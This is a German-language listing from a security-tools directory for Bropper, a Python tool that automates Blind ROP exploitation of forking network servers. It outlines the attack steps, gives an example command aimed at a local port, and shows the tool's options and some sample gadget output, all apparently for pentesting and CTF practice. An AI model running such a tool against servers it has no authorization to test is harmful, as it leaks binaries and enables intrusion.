Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Bropper — Ein automatisches Blind-ROP-Exploitation-Tool | Kitploit
Tools/GitHubGitHub/hakumarachi/bropper
Exploit-FrameworksExploitationCTFBinary-Exploitation
GitHubhakumarachi/bropper

Bropper

Ein automatisches Blind-ROP-Exploitation-Tool

Repository anzeigen
20918vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

BROPPER

Ein automatisches Python-Tool zur Blind-ROP-Ausnutzung

Zusammenfassung

BROP (Blind ROP) ist eine Technik, die 2014 von Andrew Bittau von der Stanford University entdeckt wurde.

  • Originalartikel
  • Folien

Die meisten Server wie nginx, Apache und MySQL forken und kommunizieren dann mit dem Client. Das bedeutet, dass Canary und Adressen gleich bleiben, selbst wenn ASLR und PIE aktiv sind. Daher können wir eine gezielte Brute-Force-Methode einsetzen, um Informationen zu leaken und anschließend einen funktionierenden Exploit zu erstellen.

Ablauf der Ausnutzung

  1. Pufferüberlauf-Offset finden
  2. Canary finden
  3. Gespeicherte Register (RBP / RIP) finden
  4. Stop-Gadgets finden
  5. BROP-Gadgets finden
  6. Eine Write-Funktion finden (write / dprintf / puts / …)
  7. Das Binary leaken

Beispiele der Ergebnisse

In diesem Repository gibt es 3 maßgeschneiderte verwundbare Beispiele. Du kannst sie direkt ausführen oder das Dockerfile erstellen.

BROPPER wird dann das Binary dumpen:

Anschließend ist es möglich, alle ROP-Gadgets aus dem gedumpten Binary mit z.B. ROPgadget zu extrahieren:

root@kitploit:~
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx

Unique gadgets found: 235

Skript-Nutzung

Um dieses Skript zu verwenden:

root@kitploit:~
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump
root@kitploit:~
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
                  [--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]

Description message

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target url
  -p PORT, --port PORT  target port
  --expected-stop EXPECTED_STOP
                        Expected response for the stop gadget
  --expected EXPECTED   Expected normal response
  --wait WAIT           String to wait before sending payload
  -o OUTPUT, --output OUTPUT
                        File to write dumped remote binary
  --offset OFFSET       set a offset value
  --canary CANARY       set a canary value
  --no-canary           Use this argument if there is no stack canary protection
  --rbp RBP             set rbp address
  --rip RIP             set rip address
  --stop STOP           set stop gadget address
  --brop BROP           set brop gadget address
  --plt PLT             set plt address
  --strcmp STRCMP       set strcmp entry value
  --elf ELF             set elf address

Mitwirken

Pull-Requests sind willkommen. Wenn du weitere Funktionen hinzufügen möchtest, kannst du gerne ein Issue eröffnen.

Tool herunterladen